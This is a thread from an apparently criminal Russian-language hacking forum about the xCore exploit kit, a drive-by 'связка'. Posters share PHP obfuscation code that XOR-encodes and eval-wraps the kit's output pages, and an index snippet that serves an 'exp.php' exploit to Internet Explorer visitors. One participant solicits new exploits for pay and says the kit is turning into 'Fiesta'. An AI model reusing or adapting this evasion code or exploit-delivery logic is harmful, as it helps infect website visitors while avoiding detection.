xCore

Пожалуйста, обратите внимание, что пользователь заблокирован
Вобщем вот http://www.sendspace.com/file/kede39 ответ сервера полученный при заходе на связку. Срок давности примерно месяц. Сначало обычное гзип сжатие а потом самое вкусное и интерсное ))))) Надуюсь всех увидеть тут живыми.
 
Код:
function cryptjs( $txt )
{
    $charcnt = strlen( $txt );
    $xorval = mt_rand( 0, 255 );
    $xorfrac = getmathfraction( $xorval );
    $arrvar = rndvar( );
    $strvar = rndvar( );
    $xorvar = rndvar( );
    $inpid = rndvar( );
    $funcvar = rndvar( );
    $code = "<html><body><input type='text'style='display:none'id='{$inpid}'value='";
    $code .= "{$arrvar}=new Array(";
    $i = 0;
    for (; $i < $charcnt; $i++ )
    {
        $code .= ( ord( $txt[$i] ) ^ $xorval ).( $i < strlen( $txt ) - 1 ? "," : "" );
    }
    $code .= ");'/><script>";
    $code .= "{$funcvar}=function(str){document.write(str);};{$strvar}=new String();{$xorvar}={$xorfrac};eval(document.getElementById('{$inpid}').value);";
    $forvar = rndvar( );
    $code .= "for({$forvar}=0;{$forvar}<{$charcnt};{$forvar}++){$strvar}+=String.fromCharCode({$arrvar}[{$forvar}]^{$xorvar});";
    $code .= "{$funcvar}({$strvar});</script></body></html>";
    return $code;
}

function cryptstart( )
{
    @ob_end_flush( );
    ob_start( );
}

function cryptend( )
{
    $cnt = ob_get_contents( );
    ob_end_clean( );
    echo cryptjs( $cnt );
}
 
lance, код не полный, но кажется что именно этот обфускатор использовался.
Именно он, там сплоиты изначально ещё обфуссицированны, функций криптования больше нет.
В индексе код примерно такой:

Код:
 case "MSIE" :
        cryptstart( );
        include( "exp.php" );
        cryptend( );
        break;
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Ну в пхп нет функций
getmathfraction
rndvar
...
Значит они должны быть опеределены в скрипте. А ты их не выложил.
 
Ну в пхп нет функций
getmathfraction
rndvar
...
Значит они должны быть опеределены в скрипте. А ты их не выложил.
Сори не посмотрел :baby:
Короче выкладываю все функции а аттаче.
 

Вложения

  • funcs.inc.php
    7.9 КБ · Просмотры: 32
xcore сейчас веду я и она перерождается в фиесту
кстати если у кого есть что интересного по новым сплойтам милости просим в 567669
на мороженко само собой дам ;)
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх